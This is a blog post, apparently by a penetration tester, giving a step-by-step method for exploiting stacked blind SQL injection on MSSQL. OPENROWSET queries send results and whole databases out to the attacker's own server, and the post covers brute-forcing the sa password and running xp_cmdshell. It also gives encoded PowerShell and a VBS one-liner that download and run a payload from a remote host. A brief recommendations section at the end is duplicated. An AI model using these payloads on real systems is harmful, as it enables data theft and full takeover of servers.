This post is part of a methodology used for obtaining output from a stacked based blind SQL injection.
Requirements:
- Stacked based Blind SQL injection
- Local MSSQL database server (MSSQL server express was used in this example)
- Improper remote firewall configuration (allows outbound connections)
- #include <brain.h>
- On the local server create a new database with a table to store the results:
- CREATE DATABASEÂ output_db;
- CREATE TABLE output_db..output ( result VARCHAR(MAX) );
- Lastly, open the ports and change the config for remotely connecting to the database.
- On the remote server test for OPENROWSET Â and external connection:
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
output_db.dbo.output)Â SELECT @@version–
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.
NOTE: Â OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors
Copying Databases:
- After you create a new database make a copy of the local sysdatabases and empty it:
- SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
- DELETE master_copy..sysdatabases;
- Copy the Remote sysobjects over to master_copy..sysdatabases;
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
master_copy..sysdatabases;)Â SELECT * FROM master..sysdatabases;–
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
- For every returned name create a new database and list tables
- CREATE DATABASEÂ LOCAL_DB_NAME;
- CREATE TABLEÂ LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
LOCAL_DB_NAME..tables;)Â SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U';–
- For every returned table create a new table for to hold the column data
- CREATE TABLEÂ LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=localhost;uid=sa;pwd=sa’,
LOCAL_DB_NAME.dbo.columns) SELECTÂ REMOTE_DB_NAME..syscolumns.name,
TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
REMOTE_DB_NAME..sysobjects.name=’sysobj';
- Now create a new table with the same columns and data types and copy using the same command as above
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
LOCAL_DB_NAME..TABLE;) SELECT * FROM REMOTE_DB_NAME..TABLE;– - Or create a new table with only the columns you need and copy over only those
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
- Bruteforcing the sa password for command execution is possible with
double OPENROWSET. The first OPENROWSET is the connection back to our
database, the second OPENROWSET instructs the remote DB to connect to
itself as sa run “SELECT @@version” and return the result to us.
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
output_db.dbo.output)
SELECT * FROM OPENROWSET(‘SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
- Command execution with output of the results (if the sa password is known)
- ; INSERT INTO OPENROWSET(‘SQLOLEDB’,’server=LOCAL_SERVER_IP;
uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
output_db.dbo.output)
SELECT * FROM OPENROWSET(‘SQLNCLI’,’server=localhost;uid=sa;pwd=PASSWORD‘,
‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
Advancing more:
NOTE: because of the “fmtonly off” instruction the issued
command is going to be run twice. This makes echo-ing to script files a
bit harder.
- A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
- … or do it yourself. The following commands are for downloading a file from a web server, and running it.
- (Powershell)Â [Convert]::ToBase64String([System.Text.Encoding]::
Unicode.GetBytes(“(new-object System.Net.WebClient).
DownloadFile(‘http://REMOTE_SERVER/payload.exe‘,
‘C:\DESTINATION_FOLDER\payload.exe‘)”))
- (Powershell)Â [Convert]::ToBase64String([System.Text.Encoding]::
- This will generate an encoded command string that you can run on the remote server:
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING“
- If this doesn’t work, you can echo and run the one-liner vbs script below:
- echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
“GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
objADOStream.Open:objADOStream.Type=1:
objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:
Set objFSO=Createobject(“Scripting.FileSystemObject”):
Set objFSO = Nothing:
objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”:
objADOStream.Close:
Set objADOStream=Nothing:
Set objXMLHTTP=Nothing >Â C:\DESTINATION_FOLDER\script.vbs
- echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
- Run the script:
- cscript  C:\DESTINATION_FOLDER\script.vbs
- Run the payload:
- C:\DESTINATION_FOLDER\payload.exe
$ chmod -x attack //Protecting the web server (for the non pen-testers)
What went wrong – Recommendations:
First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.
For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.
Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.
Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.
If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.
Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.
What went wrong – Recommendations:
First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.
For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.
Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.
Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.
If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.
Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.
0 comments:
Post a Comment